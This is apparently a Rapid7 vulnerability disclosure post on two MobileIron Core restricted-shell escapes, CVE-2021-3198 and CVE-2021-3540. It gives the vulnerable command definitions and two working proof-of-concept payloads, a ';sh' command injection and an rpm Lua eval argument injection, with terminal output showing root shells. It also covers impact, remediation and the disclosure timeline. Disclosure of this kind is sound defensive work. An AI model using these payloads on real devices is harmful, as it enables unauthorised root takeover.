CVE-2021-3198 and CVE-2021-3540: MobileIron Shell Escape Privilege Escalation Vulnerabilities

Jun 02, 2021 | 4 min read | Tod Beardsley (/blog/author/tod-beardsley/)

Last updated at Thu, 22 Jul 2021 15:39:41 GMT

Ivanti MobileIron Core versions 10.7.0.1-9 and 11.0.0.1-3 suffer from two restricted shell escape vulnerabilities through the **install rpm** command present in the **clish** restricted shell. These issues have been fixed in version 11.1.0.0, released on March 15, 2021.

The first, CVE-2021-3198, is an instance of CWE-78 (https://cwe.mitre.org/data/definitions/78.html), **OS Command Injection** via the install rpm url command. The second, CVE-2021-3540, is an instance of CWE-88 (https://cwe.mitre.org/data/definitions/88.html), **Argument Injection**, via **the install rpm info detail** command. Both of these shell escapes require that privileged commands be enabled (through the **enable** command), so given this elevated access requirement, Rapid7 suggests a CVSS score of 6.5 (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N&version=3.1) for both issues.

Product Description

Ivanti MobileIron "enables IT to define security and management policies for mobile devices, desktops, apps, and content." For more about MobileIron Core, please see the vendor's website (https://www.mobileiron.com/en/mobile-security-products).

Credit

This issue was discovered by Rapid7 researcher William Vu. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy (https://www.rapid7.com/disclosure/).

Exploitation

In the course of debugging a service startup issue, Rapid7 researcher William Vu discovered a shell escape in the restricted shell **clish** — specifically, the **rpm** subsystem. Two methods of exploiting this vulnerability are detailed here:

CVE-2021-3198: Install RPM URL OS Command Injection

The **install rpm url** command suffers from a bash shell command injection vulnerability.

The command definition in **config-view.xml** specifies a parameter of type **URL.Source** which is supplied to the **/mi/bin/installTools** script.

```
<COMMAND interrupt="true" name="install rpm url"
    help = "Gets the rpm and install from the given url">
 <PARAM name="urlvalue"
        help="url to get the file"
        ptype="URL.Source" />
<ACTION>
[ `/usr/bin/id -u` -eq 0 ] &amp;amp;&amp;amp; SUDO="" || SUDO="/usr/bin/sudo"
 $SUDO /mi/bin/installTools 'url' ${urlvalue}
</ACTION>
</COMMAND>
```

The **URL.Source** type as defined in **types.xml** performs insufficient sanitization of input, seen here:

Topics

- Metasploit (799) (/blog/tag/metasploit/)
- Vulnerability Management (418) (/blog/tag/vulnerability-management/)
- Detection and Response (388) (/blog/tag/detection-and-response/)
- Research (277) (/blog/tag/research/)
- Application Security (156) (/blog/tag/application-security/)
- Cloud Security (110) (/blog/tag/cloud-security/)

Popular Tags

Search Tags

- Metasploit (/blog/tag/metasploit/)
- Logentries (/blog/tag/logentries/)
- IT Ops (/blog/tag/it-ops/)
- Vulnerability Management (/blog/tag/vulnerability-management/)
- Detection and Response (/blog/tag/detection-and-response/)
- Metasploit Weekly Wrapup (/blog/tag/metasploit-weekly-wrapup/)
- Research (/blog/tag/research/)
- Automation and Orchestration (/blog/tag/automation-and-orchestration/)
- Nexpose (/blog/tag/nexpose/)
- Incident Detection (/blog/tag/incident-detection/)
- InsightIDR (/blog/tag/insightidr/)
- Exploits (/blog/tag/exploits/)
- Incident Response (/blog/tag/incident-response/)

```
       <PTYPE name="URL.Source" method="regexp"
pattern="(ht|f)tp(s?)://(\w+:\w+@)?((((\w-?)+\.)+\w{2,6})|(((25[0-5]|2[0-4][0
                              help="Generic URL Syntax:- https://[username]

Ex:
http://download.foo.com/vm/vmware/vmware.rpm
ftps://miapp.foo.com:8090/mi-hyper.rpm
https://username:password@download.foo.com/vm/vmware/xen.rpm"/>
```

Finally, the **/mi/bin/installTools** script invokes a **wget(1)** command with the insecure parameter.

The below details a functional proof-of-concept exploit that results in spawning a new shell with root privileges.

```
CORE(10.7.0.1-9)@x.x.x#install rpm url http://127.0.0.1/;sh
--2021-01-20 21:00:28--  http://127.0.0.1/
Connecting to 127.0.0.1:80... failed: Connection refused.
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2# uname -a
Linux x.x.x 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x8
sh-4.2#
```

CVE-2021-3540: install rpm info detail Argument Injection

The **install rpm info detail** command suffers from an rpm argument injection vulnerability.

The command definition in **config-view.xml** specifies a parameter of type **CMD_STRING**, which is supplied to an **rpm(8)** command.

```
<COMMAND interrupt="true" name="install rpm info detail"
                        help = "Gets list of rpms installed">
<PARAM name="pkg"
                        help="Package name to find details"
                        ptype="CMD_STRING" />
<ACTION>
[ `/usr/bin/id -u` -eq 0 ] &amp;amp;&amp;amp; SUDO="" || SUDO="/usr/bin/sudo"
$SUDO /bin/rpm -qi ${pkg}
</ACTION>
</COMMAND>
```

The **CMD_STRING** type as defined in **types.xml** performs no sanitization of input.

```
<PTYPE name="CMD_STRING"
                        pattern=".*"
                        help="command string"/>
```

Finally, the **rpm(8)** command is invoked with the insecure parameter.

The below details a functional proof-of-concept exploit that results in executing the shipping Lua interpreter, which in turn spawns a root shell.

Komand (/blog/tag/komand/)

Penetration Testing (/blog/tag/penetration-testing/)

Related Posts

CVE-2022-27518: Critical Fix Released for Exploited Citrix ADC, Gateway Vulnerability — READ MORE (/BLOG/POST/2022/12/13/CVE-2022-27518-CRITICAL-FIX-RELEASED-FOR-EXPLOITED-CITRIX-ADC-GATEWAY-VULNERABILITY/)

Patch Tuesday - December 2022 — READ MORE (/BLOG/POST/2022/12/13/PATCH-TUESDAY-DECEMBER-2022/)

2023 Cybersecurity Industry Predictions — READ MORE (/BLOG/POST/2022/12/08/WEBINAR-2023-CYBERSECURITY-INDUSTRY-PREDICTIONS/)

CVE-2022-4261: Rapid7 Nexpose Update Validation Issue (FIXED) — READ MORE (/BLOG/POST/2022/12/07/CVE-2022-4261-RAPID7-NEXPOSE-UPDATE-VALIDATION-ISSUE-FIXED/)

```
CORE(10.7.0.1-9)@x.x.x#install rpm info detail --help
Usage: rpm [OPTION...]
[snip]
Common options for all rpm modes and executables:
[snip]
                -E, --eval='EXPR'               print macro expansion of EXP
[snip]
CORE(10.7.0.1-9)@x.x.x#install rpm info detail -E%{lua:rpm.interactive()}
RPM Interactive Lua 5.1 Interpreter
> os.execute("/bin/sh")
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.2# uname -a
Linux x.x.x 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x8
sh-4.2#
```

Impact

An attacker who has the password to enable privileged commands (either through their regular job function or by guessing the enable command password) could leverage this vulnerability to take complete, root-level control of the affected device.

Vendor Statement

Ivanti/MobileIron has addressed the issue in the Core 11.1.0.0 (March 4, 2021) release. As threats evolve and emerge, we strongly recommend that customers review security advisories and follow the recommended guidance.

Remediation

The enable password to MobileIron devices should be as complex and restricted as is practicable. Users with access to the enable password can already cause significant disruptions to the normal operation of MobileIron-based services. Absent a patch, operators of MobileIron devices should ensure that only trusted, identified individuals have access to this valuable enable password.

Disclosure Timeline

- January 2021: Issue discovered by William Vu of Rapid7
- Thu, Jan 21, 2021: Initial disclosure to Ivanti, with details provided
- Thu, Mar 4, 2021: Version 11.1.0.0 released by the vendor
- Fri, Mar 19, 2021: Further confirmation of the issues and fixes with Ivanti
- Wed, June 2, 2021: Public disclosure

POST TAGS

Vulnerability Disclosure (/blog/tag/vulnerability-disclosure/)

Vulnerability Management (/blog/tag/vulnerability-management/)

Research (/blog/tag/research/)

SHARING IS CARING

AUTHOR

Tod Beardsley (/blog/author/tod-beardsley/)

Director of Research at Rapid7, contributing author of several Rapid7 research papers, CVE Board member, and Metasploit collaborator. https://keybase.io/todb

VIEW TOD'S POSTS

Related Posts

EMERGENT THREAT RESPON…

CVE-2022-27518: Critical Fix Released for Exploited Citrix ADC

VULNERABILITY MANAGEM…

Patch Tuesday - December 2022

XDR

2023 Cybersecurity Industry Predictions

VULNERABILITY DISCLOSURE

CVE-2022-4261: Rapid7 Nexpose Update Validation Issue (FIXED)

Gateway Vulnerability

VIEW ALL POSTS

Search all the things

BACK TO TOP

(https://www.rapid7.com/about/rapid7-cybersecurity-partner-boston-bruins/)

Contact Us